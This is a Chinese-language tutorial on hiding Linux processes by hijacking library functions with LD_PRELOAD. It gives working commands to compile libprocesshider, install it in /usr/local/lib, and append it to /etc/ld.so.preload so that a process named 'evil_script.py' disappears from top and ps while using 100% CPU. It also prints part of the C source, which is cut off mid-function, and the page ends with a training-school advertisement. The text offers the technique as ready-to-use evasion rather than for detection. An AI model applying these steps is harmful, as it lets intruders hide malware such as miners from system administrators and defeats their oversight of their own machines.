linux 下隐藏进程的一种方法

 

前言

  1. 本文所用到的工具在 https://github.com/gianlucaborello/libprocesshider 可以下载
  2. 思路就是利用 LD_PRELOAD 来实现系统函数的劫持

    LD_PRELOAD是什么:

    LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。

实现

1.下载程序编译

bmfxgkpt-yhd:~# git clone https://github.com/gianlucaborello/libprocesshider.git Cloning into 'libprocesshider'... remote: Counting objects: 26, done. remote: Total 26 (delta 0), reused 0 (delta 0), pack-reused 26 Unpacking objects: 100% (26/26), done. bmfxgkpt-yhd:~# cd libprocesshider/ bmfxgkpt-yhd:~/libprocesshider# make gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl bmfxgkpt-yhd:~/libprocesshider# 

2.移动文件到/usr/local/lib/目录下

mv libprocesshider.so /usr/local/lib/

3.把它加载到全局动态连接局

echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload

测试

  1. 我们运行evil_script.py
  2. 此时发现在top 与 ps 中都无法找到 evil_script.py

此时我们发现 cpu 100%,但是却找不到任何占用cpu高的程序

分析

#define _GNU_SOURCE  #include <stdio.h> #include <dlfcn.h> #include <dirent.h> #include <string.h> #include <unistd.h>  /*  * Every process with this name will be excluded  */ static const char* process_to_filter = "evil_script.py";  /*  * Get a directory name given a DIR* handle  */ static int get_dir_name(DIR* dirp, char* buf, size_t size) {     int fd = dirfd(dirp);     if(fd == -1) {         return 0;     }      char tmp[64];     snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);     ssize_t ret = readlink(tmp, buf, size);     if(ret == -1) {         return 0;     }      buf[ret] = 0;     return 1; }  /*  * Get a process name given its pid  */ static int get_process_name(char* pid, char* buf) {     if(
                        
关键字:
50000+
5万行代码练就真实本领
17年
创办于2008年老牌培训机构
1000+
合作企业
98%
就业率

联系我们

电话咨询

0532-85025005

扫码添加微信